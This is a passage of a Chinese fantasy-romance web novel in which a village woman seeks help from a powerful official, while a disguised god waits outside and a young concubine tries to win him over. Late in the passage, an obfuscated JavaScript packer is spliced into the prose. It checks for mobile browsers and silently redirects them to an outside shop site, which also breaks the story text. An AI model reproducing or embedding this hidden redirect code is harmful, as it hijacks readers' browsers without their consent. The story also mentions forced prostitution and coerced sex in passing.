他找过她一次,可绝不会找她第二次。 并非碍于世俗伦理。 而是,他在等她向自己低头。 宋礼遇想,他应该恨她。 就因为她当时没有救他,让他终日浸泡于泥沼中,血肉剥离,蛆虫满身。 她是那样吝啬,连一道目光,都不肯给他。 现在,他终于等来了他的心脏。 这颗心脏,饱经风霜,却还是那么鲜活有力。 他爱她的一切。 心脏已经纡尊降贵地回来找他了,他怎么肯再放她离开? 这三十年,他像一具行尸走肉一样,依循着父辈所教他的那些东西,带领着自己的庞大家族,翻过尸山,趟过血海,才有今时今日的地位。 阴暗潮湿,腐成一堆蛆虫烂肉的宋礼遇,已经三十年没被阳光照耀了。 不过,没关系。 不晚,不晚。她什么时候来找他,都不算晚。 那不肯妥协的三十年虽然遗憾,可他还会跟她有很多个三十年。 他要求得长生,同她一起长生。 天下间的财宝都尽收他囊中,想来长生应该也不算难事。 他终于,要带着她,共赴沼泽了。 天上的那群神仙,自从衡羿下凡后,没事儿就在背后蛐蛐他。 大家都觉得他这次遇到的坎儿,极为难过。 甚至都有点儿同情他了。 真不能怪他放不下…… 别说他在天上看了自己的小信徒三十年,但凡在人间跟花祝年有过牵扯的男人,谁不是想了她三十年呢? 朝堂之上运筹帷幄的权臣,极致冷血的政治机器一个,早就连半点儿人性都没了,却还空洞地记着她的每一份喜好。 就连明明已经得到她的贺平安,这三十年也从未松过一口气。 大晚上睡着觉,都怕她跑了。 还要下意识地摸摸她的耳垂,看看她在不在,然后再一把抱进怀里。 这三十年,怎么看,衡羿都是最克制的那个。 至少没直截了当地找上门,明目张胆地抢夺人家的妻子。 让她以后跟他过。 但现在来看,估计也快了,难说。 他们三个人之间的姿势,目前来看,很难启齿。 花祝年被衡羿怜惜地抱在怀里,宋礼遇在一旁眼巴巴地看着。 想要伸手接过来,衡羿又不肯放手。 两个男人含情脉脉,你争我夺……只有花祝年屏蔽一切,独自无望又暴躁。 她用所剩无几的气力,揪着衡羿的耳朵,一个劲儿地逼着他跟宋礼遇道歉。 衡羿嘴就跟缝上了一样。 没有说道歉,也没有说不道歉。他好像还挺享受被她揪着耳朵训的。 或许,在花祝年看来,这是母亲在教训儿子的姿态。 可衡羿并不这样认为。 他不过是在逗她,看谁犟得过谁。 就犟。 两个人之间,有种别人怎么也挤不进去的氛围。 就连宋礼遇方才的那句饱含情意的话,让花祝年改改称呼,她也无暇回应。 他这次并没有跟她客套,她却当成了一句客套话。 三十年过去了,她对他,仍旧有很重的疏离感。 况且,对花祝年而言,逼这后生道歉才是正经事。 宋礼遇跟他爹一样,有点儿权力,就非要用上,还要往死里磋磨人。不上供就做不成生意。 更何况,现在的他,已经不是有点儿权力了。 这后生若是将宋礼遇得罪得狠了,到时候死都不知道怎么死的。 哪有一上来就得罪人的? 她也是服了。 其实,花祝年跟宋礼遇没成,宋礼遇的爹要占很大一部分责任。 但凡他爹不那么向下压榨,她不会连见他一面都不肯。 可这也不能全怪宋礼遇的爹。因为当时的王朝气运,已经是强弩之末了,大家都是忙着向下压榨的。能捞多捞,大捞特捞。 花祝年改变不了天下大势,并且当时由于人生阅历的不足,行事也异常偏激。 将对当下形势的厌恶,全然加剧在那个一县之主身上。 所以才显得她的拒绝,尤为不正常。 别人都上赶着,想要登上这艘船,偏偏她转身就走。 关键这船还是特意去接她的。 许多人都猜测,她到底为什么不上宋家的船。 猜了无数个可能,连她喜好女色都传出来了……就是没人猜她是看不上宋家的家门。 若是传出去,都要笑死了。 商贾之家还有什么资格,去挑人家官宦之家? 可她就是看不上。 不仅看不上,当时已经愤怒到,但凡她有把剑,会点功夫,就将那群倚势欺人的狗官都给砍了。 可是,她即便拿得动剑,也进不去那戒备森严的深宅大院。 但那种骨子里的反叛,终究是难以磨灭的。 她并不是不想过好日子。 只是,靠着鱼肉百姓换来的日子,那算什么好日子? 不过是,为非作歹,逞恶行凶而已。 然而,拒绝宋礼遇的花祝年,当初在家里的日子,虽然照样过,可在外面的日子,就不那么好过了。 她几乎沦为众人的谈资和笑柄。 没什么人理解她。 嫁过去,就能一世无忧了。 还能保花家在生意场上,过得顺风顺水。 不知道在坚持什么? 她甚至被当成了反面教材,被那些待字闺中的长辈反复讲述。 千万不要像她一样。 而与此同时,在较为遥远的某一处村落里,也有一例反面教材出现了。 有一个少年,家里在被连番欺辱后,在屡次求助无门时,连杀了跟案件相关的八十几个官员,杀得头发丝上都是血。 乱世用重典,越是压不住的时候,就越要狠压。 于是,他被送上了断头台。 那个人,是薛尘。 他像是她某种意志的化身,捡起她提不动的剑,杀尽一切的蝇营狗苟。 可她是在他死去的很多很多年后,才知晓这件事的。 或许,真的有冥冥之中的缘分吧,他们连骨子里的反叛都那么像。 两个反面教材,竟然是这个乱世,最把百姓当人的人。 可惜,下场都不太好。 一个早早离世,污名满身,一个嫁为人妇,半生煎熬。 对于仍旧活在世上的花祝年来说,没有人能代替薛尘的位置。 就是他本人,衡羿仙君来了,都不行。 那种于无望绝境之中,靠着为人的信念,杀出一条血路的极致生猛,不是被阉割掉七情六欲的神所能比拟的。 她此生再也不会遇到像他那种,明明什么话都不说,就只是看到对方做的事,就已经能了解彼此全部意图的人了。 作为一个杀了八十几口,鱼肉百姓官员的“嗜血好杀”之徒,他自然理解她为什么拒婚。 而拒婚的她,在很多年后,自然也知道,他当初为什么会杀那么多人。 从来都无关情爱。 他们是彼此反抗意志的继承者和实现者。 哪怕两个人并不熟,甚至连话都没说过几句。 月老当初给他们写下的姻缘,就是一起起义造反的兄弟,亦师亦友的同僚,可以放心把后背交给对方的默契战友,最后,才是至亲至疏的夫妻。 但可能是天不遂人愿,上一世的薛尘,从第一步就选错了。 自此,一步错步步错。 后来,受刑的薛尘,倒是提前回归了神位,放下人间的一切,重新成为执掌三界的神。 却苦了花祝年,自此却再也找不到精神高度共鸣者,又被贺平安囚困占有了三十年。 无边的锐气被岁月消磨,每磨去一分,都是挫骨的疼。 她的反骨,终于快被磨没了。不然,也不会前来求人。 花祝年跟宋礼遇,从三十年前的想法就不一样,没有一刻同频过。 到现在依然不同。 宋礼遇知道花祝年来找自己后,满脑子想的都是孤傲者低头,捡起破碎的白月光那类…… 他觉得她是来跟他,破镜重圆的。 花祝年想的是清汤大老爷,能不能给小民条活路? 甚至是一心想着,到时候怎么晓之以情动之以理,让他帮着她把人给救了。 至于别的,再没什么了。 她在他面前,始终是非常谨慎的。 除了,吐脏了他家的里院,还狼狈地躺在院子中间。 其他的,做的应该也还算妥当……吧。 花祝年见衡羿这个不懂事的后生,死也不肯道歉。 只能主动代他,向宋礼遇道歉。 可她刚说出一句:“宋大人,这后生,你看着他是个正常人,实则他是真的脑子坏掉了。” 衡羿就忙不迭地接话道:“是啊。当初我就说不来,你非要来。现在好了吧,被人晾在外面这样久,吐得——” 花祝年回过头看了他一眼,想要伸出手打他,可她吐了半天,体力跟不上。 如果不是被他扛吐了,她也不至于狼狈至此。 等她恢复好了的,对他拳打脚踢一顿。 被小信徒眼神警告的衡羿,没有再继续说下去。 他看到她的脸上,没有一丝血色。 她在强撑。 宋礼遇此刻也注意到了她脸色的变化。 之前还张牙舞爪地像一只暴躁的豹子,现在像可怜的小病猫。 “不妨事的,我没往心里去。” 虽说这是场面话,可花祝年隐约觉得宋礼遇给自己的感觉,似乎跟之前有些不一样。 但她又想不通,究竟是哪里变了。 如果非要说的话,那就是更让她捉摸不透,更可怕了。 她也不知道,这是不是他的真心话。 这都给他踹成那样了,她听声音就觉得疼。 就在她犹豫着,要不要再次跟他赔礼道歉的时候,宋礼遇突然岔开话题说道:“我不知道,你现在已经喝不惯毛峰了。” 宋礼遇其实本质并没有任何变化。 他是个很小气的人。 小气 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总是能适时地帮宋礼遇表现,并且理由找得恰到好处。 宋礼遇没真正地谈过感情,可管家是谈过的。 他端了三双鞋子出来,不动声色地凑到了宋礼遇身旁。 宋礼遇之前是看到花祝年的鞋子坏掉的。 只是,一直没什么勇气帮她换。 这下有了管家的推动,他小心地跪到她旁边,从托盘里拿出了最左侧的鞋子。 花祝年在衡羿怀里吓得一激灵,连忙挣扎着坐了起来。 “宋大人,这可使不得。我自己来就行。” 但可能是起来得有些猛了,搞得她又想吐了。 下意识地偏过头吐了一下。 衡羿将她抱进怀里后,还将她的腿圈了回来。 他冷声道:“不穿你这里的鞋,我们自己有带。” 花祝年可能对穿鞋这件事不太敏感,可衡羿是敏感的。 只有丈夫才会给自己的妻子穿鞋。他觉得这小三房,肯定是在要名分。 可他这样说着,宋礼遇还是不管不顾地,将花祝年那双踹爆开的鞋子脱了下来。 她身体不舒服,需要一个支撑,衡羿要先顾她,只能稳稳地让她靠着,不好再有太大的动作,因此没能阻止宋礼遇手上的动作。 她的脚因为水肿,看起来比一般人的脚要大。 袜子上的豹纹,都被撑得很开。 宋礼遇看着手边的豹纹,仿佛在握一只豹子的脚。 他笑着对她说道:“你喜欢豹子?明天我让你打一只给你,剥了皮给你,你喜欢什么,就让人给你做。” 花祝年摆了摆手:“不用!我就是看便宜才买的。” 她总不能说,是因为自己没怎么求过人,担心见了他发怵,所以买双豹纹袜,想穿着提提气。 本来是穿在里面的,没想到鞋子会爆开。 提气没提成,倒是先让豹纹袜透气了。 花祝年看起来挺彪悍,但没有了爹娘的保护,贺平安也被抓走了,如今只有她自己,她当然是害怕的。 至于那个后生,她没把他当成什么依靠。 非亲非故的,谁给你依靠呢? 衡羿看着宋礼遇,一直握着小信徒的脚不松手,他觉得这个人好怪啊。 这跟自己看贺平安那时的感觉还不一样。 贺平安至少有个名分,是跟小信徒成过亲的。 可以说,是他默许她选的二房。 这个宋礼遇,什么名分都没有,在这里表现得如此殷切做什么? 他厉声斥责道:“你要是没想帮她穿,就放开。那么长时间,在那里愣着做什么?” 哪料宋礼遇握着花祝年的脚,完全把衡羿当成了透明人,丝毫不理会他的话。 反而突然坦荡地对花祝年说道:“我喜欢看你踹人,以后,你也可以踹我。” “啊?” 花祝年接二连三地受到了惊吓,她知道求人很难,但没想到会这么难。 还要满足对方如此变态的需求…… 宋礼遇继续坦诚道:“还有,我刚刚看你打他,我也很喜欢!以后,你也要打我,像打他那样打我。” 他的意思是,以后他们生活在一起,他是任打任骂的。 但可能表述得有些奇怪,导致花祝年有点儿怂了。 贺平安,要不就,不救了吧。 太吓人了。 她用力踹了他一脚,才将脚从他手中挣脱开。 之后,连滚带爬地从衡羿怀里蹿了出来。 刚想跑,又被人拽了回去。 她以为是宋礼遇,没想到是衡羿。 “你想走,我抱你。” “抱你个头啊!两个人跑不是更快吗?” 两个人大声密谋,在宋礼遇七进七出的宅院里,逃出去的事。 宋礼遇不知道自己做错了什么。 他明明是在哄她,让她以后放心地跟着他。 她为什么要跑?这次,不就是来投奔他的吗? 还是老管家上前对她安抚道:“花小姐,你别怕,我家老爷的意思是,让你把这里当成家,怎么对别人,就怎么对他。” 花祝年慌张地点了点头。 本想说,自己没事了,要走了,结果管家又对她提醒道:“你们二人,大老远来一趟,应该是有事要找老爷的吧。” 犹豫之下,她又一屁股坐回到地上。 衡羿生硬地抢过宋礼遇手中的鞋子:“我给花大娘穿。这一路上,她弯不下腰,都是我给她穿的。” 然后,尴尬的事,发生了。 她的脚水肿得厉害,哪怕码数是对的,也还是穿不进去。 管家就是看见她脚有些肿胀,才拿了三双鞋子出来,看看哪双比较合适。 宋礼遇又拿了另外一双,想要给她试,花祝年接了过来:“我自己来。” 还是穿不进去。 衡羿看最后只剩下一双,其实他不想给她穿宋礼遇送的鞋子。 可是,又怕宋礼遇抢先拿给她试穿,只好抢过来给她穿。 没想到这次的倒是很合适。 管家在一旁提醒道:“老爷,这本来是进贡给皇后的,被您给扣了下来,特意留给花小姐穿。这些年,您看见什么好的东西,都会想着花小姐。” 声音不大不小,不仅宋礼遇听得到,花祝年和衡羿也听得到。 宋礼遇仍旧跪在地上,望着她脚上的那双鞋子出神。 确实好看。 以前没觉得这鞋子有什么,但穿在她的脚上,好像找到了原本的位置一样。 他双手撑着地,恍然间抬起头看着她,神情激动地说道:“花小姐,宫里那位皇后配不上这样好的东西,只有你才配。以后,你想要什么,尽管开口,我都给你弄来。” 贪这么多,终于找到了归属感。 宋礼遇有种第一天,才当人的真实感。 之前让那些妾室肆意挥霍,看她们脸上明媚的笑,可不知怎地,他心里始终高兴不起来。 原来是没找对人。 花祝年想脱下这鞋子,她不喜欢穿本来是别人的东西。 可就在她用手去脱的时候,宋礼遇忽地按住了她的脚:“别、别脱。再穿一会儿,我想看。你若是不喜欢这双,我让人带你去库房挑。” “不用了。” 幸好当初没嫁过去。 不然,之后,应该过得也是这种日子。 心里堵得要命。 他家抢百姓的钱财来供给她,她用着不舒服,他抢皇后的鞋子给她穿,她穿着也不舒服。 花祝年试探地问宋礼遇:“你刚刚说,我要什么,你都能弄来,是不是真的?” 宋礼遇点了点头,等待着她开口。 “就是,我——” 她还没说出来,宋礼遇对她建议道:“不如我们先进去说?你刚刚吐了他一身,让这后生也换身衣服。” 花祝年点了点头。 衡羿死抱着不肯松手让她走。 “花大娘,你可别听他的话。看起来,他好像在为我着想一样,但他就是想找机会,跟你独处。他就不是个好东西!” 本以为自己说完,又会挨打的。可突然听小信徒说道:“我没多少气力,再被你消耗了。你听话,不想换衣服,就在外面等。” 宋礼遇不是好东西,是花祝年在三十年前就知道的事。 他不是坏了一天两天了。 村子里的柳春人好,吴凝人也好,王寡妇也好,村医两口子更是活菩萨…… 可是他们一辈子,都只能待在村子里生活。 贺平安和那些男人被抓,光是靠着他们这些人好,是不会感动上天,撤销处死令的。 可见,人好没用,得有权。 54. 你没错 她在村子里的家,不远处有座山。 自乱世起,山上就埋了很多欺负百姓的流兵,各个镇子上往那儿埋的都有,大家都是趁天黑偷摸儿去。 林子里有一种黝黑细长的尖头毒蛇。 原本细得跟筷子一样,既长不长,也长不壮。 那是以前生态环境还好的时候。 不过,自从山里埋的尸体越来越多,这些尖头蛇可算是找到了吃食。 每当有新的尸体埋进去,那些蛇在林子里游荡个几天,就能长碗口般粗壮,跟人的脖子粗细差不多。 三角的脑袋也被滋润得油光锃亮,张开大嘴对着人哈气的时候,嘴边黑色褶皱都撑成了近乎透明的薄膜。 村民们说,那蛇吃了埋下的腐尸后,身上附着了流兵的怨气,所以才会迅速长大。 也就是说,流兵借蛇还魂了。 一时间,那种对于祸害死后,还要作乱人间的恐惧,弥漫在整个村子里。 可贺平安不信邪。 他自己就是个很邪性的人,心想,别说是没还魂这一说,就是真的有,他再弄死他们一次,也不是不行。 以至于村民都说,贺平安那种人,魔嚼了硌牙,鬼见了害怕。 每次看见一条,他就戳死一条。 照着七寸处,一铁锹猛戳下去,肉哧硌黏的。 毒蛇连死都是张着嘴的,仿佛要吞下这世间的一切一样。 有对百姓的不屑,对被杀的屈辱,还有无尽的贪婪…… 无论是欺负百姓的流兵,还是如今身居高位的宋礼遇。 他们在本质上,都是一样的。 一个仗着手里有刀,一个仗着手里有权,身上那些莫名其妙的傲气,从来不曾面对权势者出现过,而是独独对着底层特供。 他们心里的想法就一个,我弄你可以,你弄我,就是以下犯上。 但山野糙汉贺平安不管这些,他妈的,就是天王老子来了,你不让我过安稳日子,我也得跟你大干一场。 在家里的时候,贺平安没从让花祝年遇见过那种尖头蛇。 哪怕他家离后山很近。 甚至,林子里的尖头蛇被杀得都有了灵性,一看见贺平安就躲,看见花祝年也躲。 宋礼遇就跟变异的尖头粗蛇一样,贪婪又高傲,不容别人触犯威严。 让人看一眼,就从心底涌起一股恶寒。 本来,花祝年待在山野之间,是一辈子都不用见他的。 躲他都来不及。 可她没办法,这不是,遇上事儿了么? 贺平安跟那些男人不能冤死,村子里的女人也不能被老光棍儿欺辱。 活在乱世的人,已经过得很苦了,她不能让各家的情况变得更糟。 她当然很早就看清了宋礼遇的真面目,怎么可能会被他的一点小恩小惠感动? 况且,她对于他所拥有的一切,都极度的厌恶。 和当年一样。 可正如爹不得不跟宋县令打交道一样,她如今,也要走上爹的老路了。 但心里,还是很怕的。 比山林间突然窜出来一条,碗口粗的尖头毒蛇还怕。 所以,她让这后生在外面等,希望待会儿,他能给她收尸。 她会尽最大能力去求情,但如果还是救不下来。 那就不救了,她就弄死宋礼遇! 好像,也不亏。 其实,花祝年和宋礼遇,是没什么私人恩怨的。 宋礼遇甚至深爱了她三十年。 可惜,她根本不在乎。 在磋磨人的乱世她也活够了,没有在大街上逮住达官贵人就杀,已经算很仁慈了。 宋礼遇是百官之首,既然接了百官欺压百姓后所供奉的福,那就要接来自最底层百姓的怒! 但他并不知道她这样恨她。 也更未料到,已经成为百官之首的他,会比之前那个县令之子,还要让她看不上。 宋礼遇仍做着跟花祝年破镜重圆的梦。 这天下间,没有什么东西,是他如今不能得到的。 更不要说,是一个山野村妇的心。 他自认能彻底驯服她。 他会把全天下最好的东西,都捧到她的面前。 让她见证他的权势,见证他的辉煌。 跟她共享,他的一切。 他是真心的爱,她也是真心的恨。这怎么不算某种程度的真心换真心呢? 衡羿眼睁睁地看着自己的小信徒,被小三房请了进去。 不知道对方要使什么狐媚招数来引诱她。 他跟个门神一样,在门外气呼呼地等着。 可是,越站就越觉得气不过,甚至有种很屈辱的感觉。 他想起自己曾轮转的某一世。 当时,也是乱世。 百姓都活不下去了,只有镇压百姓的人能活。 又是赶上荒年,颗粒无收。 那一世,他投生为一个苦命的女人,而他的丈夫,就站在门外,等他跟里面的男人做。 做完了,男人出来,会给丈夫一些钱。 他们就能用钱买些小米,熬些米糊糊,给家里的孩子吃。 那时,衡羿满心都是对门口丈夫的恨。 恨他的无能,恨他卖妻子,恨他养不起孩子还要生! 可此刻,他觉得自己的角色,好像跟那一世的丈夫也没什么区别。 无论是方才的喧闹,还是此刻的寂静,大家都忽略了一个人。 那个坐在秋千架上的小姑娘。 她始终都静静地坐在那里,看着院子里发生的一切。 从容地像个局外人。 不过,她到底是宋礼遇的妾室。 是宋礼遇在天下女子中,所挑选出来的。 他挑剩下的,才会往宫里送。 若是没有过人之处,也不会被宋礼遇留在身边。 况且,还这样年轻。 小姑娘对他人情绪的感知极为敏锐,她知道站在门口的这个男人生气了。 可能,下一秒就会不顾家丁的阻拦,冲闯进去。 她微荡着秋千,对着后生招了招手道:“薛公子,你过来。” 衡羿不理她。 不过,他倒觉得好奇,他在人间的化名是薛凡,就连小信徒都没喊过几次。 这个女子是怎么知晓的? 思来想去,只有进京城的路上登记过两人的名字。 原来,从那时候,就被人盯上了么? 宋礼遇还真是怪恶心的,要把小信徒身边的每个男人都查个遍。 小姑娘见对方不理自己,索性换了个方向坐秋千。 “我叫囡吉。这名字是家人算过的,说是只要把我送去一个四四方方的地方,就能保一家吉祥。小的时候,我一直不知道,自己会被送去哪里,后来才知道,原来是这里。所以,薛公子,你不必觉得我是老爷的妾,就对我怀有敌意,我也是身不由己。” 衡羿蓦地冷笑一声道:“谁问你了?” 他也是跟着小信徒学会了。 遇到不想理的搭话者,就说一句谁问你了? 根本没人在乎囡吉是怎么来的这里。 就像,小信徒,根本不在乎,他后不后悔一样。 囡吉是第一次遇到这种情况。 平时,她也被送去陪过别的王公贵族,老爷的妾本来就是干这个的。 基本上,她说两句,对面的男人,就会露出真面目,一边怜惜,一边上她。 男人不都是这个样子吗? 今日,老爷见这么重要的客人,她不是平白被留在这里的。 可能是看她跟薛凡的年纪相仿,再加上又比较善解人意,所以才会独独挑了她过来,让她拿下他。 老爷不想那位花小姐身边,再出现别的男人。 囡吉见薛凡如此回应,再装下去也没什么意思,索性颇为直白地说道:“你就放心吧,我家老爷从来不强迫女人,他只让女人心甘情愿地跟他。” 衡羿不喜欢听这样露骨的话:“你跟我说这个做什么?我又没问你。” “你虽然没问我,但我看得出来,你很担心她。所以就想劝劝你,那位花小姐没事,你不用这么紧张。” “我没紧张。” 囡吉脚尖轻点着地,一下又一下,秋千上晃动的铃铛,声音清脆,很好听。 “其实,我家老爷,挺好的。他是,我们家的大贵人。家里人说,贵人是不常有的。只会在某一刻,短暂地出现,所以要用尽全力,让贵人多陪我们久一些。只要我能长久地把贵人留住,我家就会在这个乱世生存下去。” 衡羿看了囡吉一眼,想说些什么,又觉得还是算了。 不是什么人都会听他的话。 况且,每个人的路,应该怎么走,什么是好,什么是不好,这世间有无数的道理在规劝世人,又何需他苦口婆心地去劝? 囡吉笑吟吟地说道:“我知道你没问我,但我就是看你投缘,想告诉你这些。可能在你眼里,我家老爷是抢走花小姐的坏人,但他在我眼里,就是贵人。” 衡羿终于忍不住说道:“他贵什么?如果没有他的推波助澜,这个世道本不应该这么乱。你家人在良好的晋升机制下,也未必需要他的提携。他不过是把资源全都掠夺了,指缝间露出一点,还要你家人拿最宝贵的女儿来交换,这就是贵人了?这是禽兽!” 囡吉是一直活在梦里的人,她不是很想清醒过来。 醒过来有种痛感,而她很怕疼。 她不知道是在安慰自己,还是在反驳衡羿:“就算如此,又怎么样呢?现在朝政还不是老爷把持着。弄不过人家,就要跪下来叩拜。我只是,选了一种比较轻松的生活方式而已,又有什么错?” “你没错,但你不要劝我卖妻子!” 衡羿一不小心说了真心话。 她本来就是他的小妻子,只是他没办法陪伴她,也,也救不了她。 现在,更不能推她进火坑。况且,她没多少时间可活了。 乱世的人,需要共担业力,没有一个是过得好的。 当初犯错的人虽然是少数,但因为大多数人的默许,所以天道降下了惩罚。 不然,众生还以为,截了天道降下的气运会没事呢。 可怎么会没事呢? 江山不断地易主,于百姓而言,不过是换了一拨人欺负他们。 当初天道选定的帝王,被人间做法斩了。这是因。 后来,一直没选出合适的帝王,导致谁都想上去捞一把,造成了三十年的乱世。这是果。 当初,他被斩过一次,上天降下天雷,结果让当时的帝王知道了他有气运在。 为了破他身上的气运,保留老旧的规制,他们聚集天下的术士,借助歪门邪道,大摆风水局,来跟上天对抗。 就是想再捞几年钱。 五马分尸的马,是薛尘带兵打仗时,跟将士们亲手养的战马。 行刑那天,马被喂了剧毒,吃下去后,会狂躁异常。 当时的环境,之所以天阴地沉……是钦天监特地选的遮天蔽日之期,意图躲过上苍的监管。而善用奇门遁甲的术士,在刑场布了“剥困风水局”,将刑场挖地三尺,让百姓站在上面观看,对他进行一场极致的唾骂。 操纵人心的恶,让他见证世人的痴愚,来灭他对人间的悲悯,令他心死。 为了剥夺他的气运,困住他的灵魂让他不得上天告状,永世不得超生,这些人可唯是煞费苦心。 如果他不是下凡历劫,被这般做局,即便有气运加身,最终也是会魂飞魄散的。 偏偏,这不过他千万转世中,体察人间的一世而已。 但他的小信徒并不知道。 她以为他真的会无法投胎,努力地收集他的碎肢,生怕他魂魄散去,紧急让人塑了泥像。 还跟他的尸体,成了亲,妄图用自己的念想留住他。 她是这个世间唯一跟他有关系的人了。这份关系,还是在他死后,她强求来的。 她为他做了很多事。 哪怕,他们生前只是说了几句话。 可她就是相信他,永远都相信他。别人想推他下万丈深渊,她偏要送他去九重天。 真是固执又狂热的小信徒啊。 神是永远不会和凡人计较的。 回归神位的他,对人间也并无怨怼。 他不跟傻子较劲。况且,早点回去,他也乐得轻松。人间太苦了,根本救不过来。 那群人只庆幸于砍了他的气运,哪里看得到将来三十年的乱世? 他死后不久,那个王朝就覆灭了。之后,就都是短命的王朝。 当日那些被忽悠着唾骂他的无知百姓,根本不会知晓他们对他的怨,成了乱世的帮凶。 正如没人在乎他的生死一样,百姓也成为了没人在乎的人。 那些设局的江湖术士是很阴毒的。 之所以,聚集百姓去那里唾弃他,就是为了迷惑上天,防止上天将灾难单单降与他们这些参与者。 他们设这个局,就是利用百姓想过安稳日子的心理,将天下人拉扯了进来。 这不是帝王薄情要杀你。 是百姓要杀你,是民心要杀你,是天下大势要杀你。 你是反臣,虽然有平外乱的功勋加身,可你犯上作乱,想让百姓再度陷入战乱之中,为了一己私欲意图谋反,不惜让天下人都流离失所。 这难道不该被人唾弃吗? 不该杀吗? 当然该杀了。如果真是这样,那杀他实在是一件大好事。 可偏偏他没想过反。 要反早趁乱反了,还需要平外乱之后再反? 图什么! 天下间的百姓,虽然可怜,但毕竟参与其中,因此没有人是无辜者,除了他的小信徒。 可小信徒还是不得不跟这群人共担业力。 她本来就来自人间,不像他有神的背景,无法像他一样逃脱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313067|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果有魔来为害人间,人间的力量无法制止,那是衡羿要管的事。 可现在,是人间自己在互害。 他没办法插手。 就连,像囡吉这般苦命的女子,被人卖了还帮人数钱…… 这怎么管? 人心都跟着世道一起乱了,乱成一锅粥了。 趁热喝了吧。 他只想陪小妻子到人生终点,当她儿子给她养老送终。 至于乱世怎么平定,人间自己瞎折腾吧,他也没有特别好的办法。 就连天道都没选出人来,人间的百姓只能自己选,这就导致百姓一次次,被上去的帝王背叛。 起义时说得好好的,跟他干,相信他,上去如何如何。 等上去了,还是老一套。 以至于,百姓对起义这件事,都已经不那么兴奋了,疲了,只想过自己的日子。 囡吉听到薛凡的话,并不觉得有什么。 她笑了笑道:“真有意思啊,还真是让老爷猜对了。” 衡羿一时失言后,耳尖有些发红。 “我不是说她是我的妻子。我是说,这种行为,就跟卖妻子一样。你明知道,她家里有男人。她跟他一起过了三十年,没理由要破坏人家的家庭。” 他现在就是疯狂往贺平安身上推。 不过没多大用处,宋礼遇根本不在乎花祝年有没有男人。 宋礼遇的妾更不在乎。 有男人怎么了?男人算什么东西?她见过主动把妻子送给老爷的男人也不少。 那些男人从来没把家里女人当回事儿,女人又干嘛把家里男人当根葱? 况且,薛凡就这么待在花小姐身边,不也是一种变相地破坏人家庭? 真可笑。 都是明知花小姐有家庭,却觊觎花小姐的野男人,谁又比谁内心干净?装什么良家男人? 囡吉荡着秋千说道:“我家老爷跟我说,能大老远陪着花小姐来京城的男人,不是得失心疯了,就是暗暗爱慕她的人。我问老爷,为什么是暗暗爱慕?” 她说到这里,刻意卖了个关子,没有再说下去。 衡羿忍不住问道:“为什么,你倒是说啊?” 囡吉低头一笑:“你这不还是问我了?不过,为什么你问我,我就要说呢?” 衡羿不再说话,他现在心乱如麻,不适合跟这里的人有过多的交流。 囡吉见他一副冷冰冰的样子,便也不好再逗弄他。 “老爷说,你若是明确表示心意,花小姐是断然不肯让你跟着的。她应该是把你当儿子,对你压根没那种想法。” “也不一定。” “一定的。花小姐此次是来找老爷的,见过老爷这样权倾朝野的男人,哪里还看得上你这个后生呢?任你再年轻又怎么样?天下间年轻的男子多了,可是权势滔天的人只有老爷一个。” “薛凡,我不怕告诉你,老爷安排我在这里,就是为了说服你。其实呢,我并不知道,花小姐明明都是一个小老太了,到底为什么还会让老爷那般执着,但我想她应该是有很独特的地方,才让人难以忘怀。可她毕竟是老爷的人,你就不要和老爷争了。” “再者说,十六岁和五十岁,你应该懂得怎么选的。选我的话,保你仕途一路风顺。而且,你放心,跟了你,我就再也不跟别人了。我家也是官宦之家,又做过老爷的妾,今后在官场上,老爷势必对你诸多照应,说起来,还是你赚了。” 衡羿淡漠道:“你说得我都心动了。” “是吧。我家老爷就是这样的好人,从来不夺人妻子,只会交换。” 他垂眸看着她:“你也觉得这样很好么?” “当然很好啦。这样我就只陪你一个人,不用再流转于其他男人之间。” “可惜,我拒绝。” “拒绝?你为什么要拒绝?难道你嫌弃我?我告诉你,我没嫌弃你就是好的,你有什么资格嫌弃我?就算我跟过别的男人又怎么样?花小姐不也是被人睡了大半辈子吗?” “你误会了。我从来不觉得,被送来送去,或者被迫跟各种男人睡的女人,是应该被人嫌弃的存在。” 衡羿轮回转世时,曾当过那样的女人,所以深知其中苦楚。 囡吉不解地问他:“那,那你,为什么不答应?” “我跟她,是姻缘天定。” 囡吉本来心里挺难受的,一听这句话,突然破涕为笑。 “什么姻缘天定?她都跟别人过了三十年,还跟你姻缘天定?” 是的,即便他俩没过过一天日子,那也是姻缘天定。 世间的女子那么多,什么样性情的都有,可也只有一个花祝年。 哪怕她如今变得市侩又暴躁,可也是他看着成长起来的。 他还是那么喜欢。 况且,他不觉得如今的她有什么不好。 五十岁的小老太怎么了? 人家好好过自己的日子,没有吃任何人的大米,自己动手丰衣足食,也不欺凌弱小,看见欺负人的就去骂,骂得人家祖宗十八代都不能幸免,这不是很好吗? 至少,懂得保护自己。 小信徒还是老姐妹儿的精神支柱。 干事儿稳准狠。 光他,就被她安排人强上了两次。谁有她能耐呢? 他现在想起来,确实觉得气,但也不得不服。哪怕她炸裂之语频出,说他不是男人,是一块儿肉。 衡羿虽然是执掌三界的神,但并没有道德方面的洁癖。 他觉得,为非作歹的人那么多,偏偏还受到了世人的奉承和肯定。 还不是因为对方有权势。 那不如公平一些,他的小信徒给自小看着长大的小姑娘,抢个男人来上,好像也没什么问题。 就是下次,选别的男人就更好了。 别逮着他一个人薅了。 说出去,怪丢人的。天上的神都看着,他快没脸见神了。 屋子里的两个人,本来谈的还是好好的。 只是花祝年没怎么讲话,大部分都是由宋礼遇来说。 突然,从里面传来一道撕心裂肺的声音,隐约听得出来有激动难抑的哭腔。 被花祝年气哭的宋礼遇,终于卸下全部的伪装,变成了当年那个自卑又不甘的傻小子。 他可真是太气了。 没想到她一把年纪,还是这么不知道天高地厚。 “你给我看他?你还敢给我看他?你说你把他拿出来干嘛?啊?” “你竟然敢带着他来找我?你知不知道,当初我去找你的时候,村子里的人,都怎么说你跟他的事?” 